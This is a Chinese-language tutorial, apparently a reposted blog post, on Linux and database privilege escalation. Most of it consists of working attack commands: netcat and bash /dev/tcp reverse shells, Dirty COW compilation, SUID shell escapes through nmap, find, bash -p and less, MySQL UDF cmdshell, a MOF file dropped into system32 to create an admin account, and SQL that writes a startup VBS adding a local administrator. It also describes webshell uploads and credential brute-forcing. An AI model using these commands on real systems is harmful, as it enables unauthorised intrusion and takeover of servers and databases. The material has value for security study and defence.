Linux与数据库提权

  1. Linux系统内核漏洞提权:(常见的就是系统内核提权 | 脏牛提权 | suid提权)
    • 原理:
      • linux内核版本的分类
        Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
        第一个组数字:目前发布的内核主版本。
        第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
        第三个组数字:错误修补的次数。
    • 思路(利用linux系统漏洞进行提权,首先搜索linux系统漏洞,然后去github搜索Debian 5对应的exp进行提权):
      • uname -a   查看内核版本
      • searchsploit linux Debian 5   使用可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码 
      • Linux与数据库提权_第1张图片`
      • local代表本地提权,remote代表远程攻击
      • linux常用exp地址:
      • https://github.com/SecWiki/linux-kernel-exploits
        https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
        https://github.com/xairy/kernel-exploits

       

    • 反弹shell提权:
      • 方式1:
        • 如果手里只有webshell可以利用反弹shell来得到一个shell
          首先我们得有一个netcat
          开启本地监听
          1.    # 开启本地8080端口监听,并将本地的bash发布出去。
          2.    nc -lvvp 8080 -t -e /bin/bash
          直接连接目标主机
          nc 192.168.1.1 8000
      • 方式2:
        • bash直接反弹
        • bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。
          (1) bash反弹一句话  |  192.168.15.99 这个是受害机IP,不是攻击机
          1.    bash -i >& /dev/tcp/192.168.15.99/8000 0>&1
          2.    本地 nc -l -p 8000
        • Linux与数据库提权_第2张图片
        • Linux与数据库提权_第3张图片

         

    • 脏牛提权:
      • 问题:
        • kali新建用户123为普通用户普通权限,提权为管理员权限
      • 原理:
        • POC:https://github.com/FireFart/dirtycow
          利用gcc编译dirty.c文件
          gcc -pthread dirty.c -o dirty -lcrypt 
          反弹shell
          python 一句话获取标准shell
          python -c "import pty;pty.spawn('/bin/bash')"
          命令详解:python 默认就包含有一个pty的标准库
      • 解释:
        • Linux与数据库提权_第4张图片

         

      • 实战:
        • 下载脏牛payload到本地:https://github.com/FireFart/dirtycow
        • 上传payload到临时目录/tmp:
        • Linux与数据库提权_第5张图片
        • gcc编译c语言程序:gcc -pthread dirty.c -o dirty -lcrypt 
        • ./dirty    //执行脏牛程序,会生成一个账号 firefart  密码为 123456 
        • 使用Xshell进行连接就行
    • SUID提权:
      • 原理:
        • SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性
      • SUID提权:
        • 那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。
        • 首先在本地查找符合条件的文件,有以下三个命令
          find / -user root -perm -4000 -print 2>/dev/null
          find / -perm -u=s -type f 2>/dev/null
          find / -user root -perm -4000 -exec ls -ldb {} \;
        • 列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
          --------------------------------------------------------
          常用的可用于suid提权的文件
          Nmap
          Vim
          find
          Bash
          More
          Less
          Nano
          cp
        • namp
          较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
          可以使用下命令进入namp交互模式
          nmap --interactive
          执行命令后会返回一个shell
          nmap> !sh
          sh-3.2# whoami
          root
        • exploit/unix/local/setuid_nmap
          find
          如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
          touch test
          find test -exec whoami \;

          vim
          Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
          vim /etc/shadow
        • bash
          以下命令将以root身份打开一个bash shell
          bash -p
          bash-3.2# id
          uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

          less
          程序less也可以执行提权后的shell。
           
          less /etc/passwd
          !/bin/sh
      • 实战:
        • SUID提权一般都是ubuntu系统,使用find命令进行suid提权
        • Linux与数据库提权_第6张图片

         

    • sudo提权

     

     

  2. 数据库提权之获取数据库账号密码:
    • 思路:
      • 如何获取mysql账号密码
      • 如何利用UDF提权
      • 如何利用mysql漏洞mof提权
      • 如何通过mysql把文件写入启动项
      • 如何通过mssql提权
      • 如何通过oracle提权
      • 数据库安全防范
    • 进程:
      • 如何获取mysql账号密码:
        • 查看网站配置文件:conn、config、data、sql、common、inc等
        • 查看user.myi:数据库安装路径下的mysql文件,目录为/data/mysql/user.myd
        • 通过暴力破解得到:(hscan、Bruter、hydra、脚本木马)
    • 过程:
      • 上传木马获得网站webshell,然后通过菜刀进行连接,获得所有数据库,点击数据库管理进行提权
      • Linux与数据库提权_第7张图片
      • Linux与数据库提权_第8张图片

       

       

    • 思考:
      • 上述过程只是在本地,如果需要远程连接mysql就需要开启mysql的远程连接
      • 一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:
        1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:
         
        mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
        mysql> flush privileges;
         
        第一句中"%"表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如:
        GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";
        第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。

        三、菜刀数据库连接、大马777.php、其它工具爆破
      • Linux与数据库提权_第9张图片
      • 使用Bruter工具进行远程连接,连接成功
      • Linux与数据库提权_第10张图片

       

       

    • 作用:
      • 要密码干什么:可能存在密码重用漏洞,其他密码可能也是这个
  3. Mysql数据库提权:
    • UDF提权 | 反弹shell用的比较多 | 可以干什么:命令执行,文件下载,读写注册表,执行cmd:
      • 思路:
        • 一、上传udf.dll
          小于mysql5.1版本
          C:\\WINDOWS\\udf.dll    或   C:\\WINDOWS\\system32\\udf.dll
          等于mysql5.1版本
          %mysql%\\plugin\\udf.dll   用 select @@plugin_dir 查询plugin路径
          默认 C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll    因为我们这里是在C:\php\MySQL-5.1.50\lib\plugin\udf.dll

          1、UDF提权专用webshell,导出dll、再执行命令。
          2、Phpspy.php的Mysql上传(提示 "上传失败、原因:Result consisted of more than one row"、实际上大多数已上传成功),再连接mysql执行命令。
          3、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。


          二、执行SQL
          select cmdshell('net user');
          select open3389();

          三、低权限获取root密码
      • 实战:
        • 开启远程连接:(直接使用Mysql综合利用工具进行提权)
          • Linux与数据库提权_第11张图片
          • Linux与数据库提权_第12张图片
          • 开启3389
          • Linux与数据库提权_第13张图片

           

           

           

        • 未开启远程连接:(上传udf.php脚本进行提权)
          • 上传udf高版本.php到根目录
          • Linux与数据库提权_第14张图片

           

    • MOF漏洞提权(至今未修复):
      • 原理:
        • 一、通过工具(Mysql综合利用工具)提权
        • Linux与数据库提权_第15张图片
        • 菜刀进行连接首先上传moon.mof到指定目录,再创建sql命令(select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';)提权
        • Linux与数据库提权_第16张图片
        • Linux与数据库提权_第17张图片
        • 然后使用net user 查看就会多一个admin账号

          二、手工通过webshell 数据库语句建帐号
           1.找个可写目录,上传mof文件
           2.执行sql
          select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';

          注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考第二个连接地址。

         

         

         

    • Mysql启动项提权(一般不太好用,能加入启动项的都是管理员了)
      • 原理:
        • 1、通过mysql数据库命令写入VBS脚本;
          2、直接通过Webshell的Mysql写入启动项;
          3、通过MS12-020、MS15-034重启服务器。
        • C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
          mysql>drop database test1;
          mysql> create database test1;
          mysql> use test1;
          mysql> create table a (cmd text);
          mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
          mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
          mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
          注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
          mysql>select * from a;
          mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";

          最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034
  4. MSsql数据库提权:
    • sqltools汉化版(数据库管理工具)使用:
    • Linux与数据库提权_第18张图片

  5. Oracle数据库提权:
    • oracle数据库管理工具的使用
    • Linux与数据库提权_第19张图片

     

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(安全,系统安全)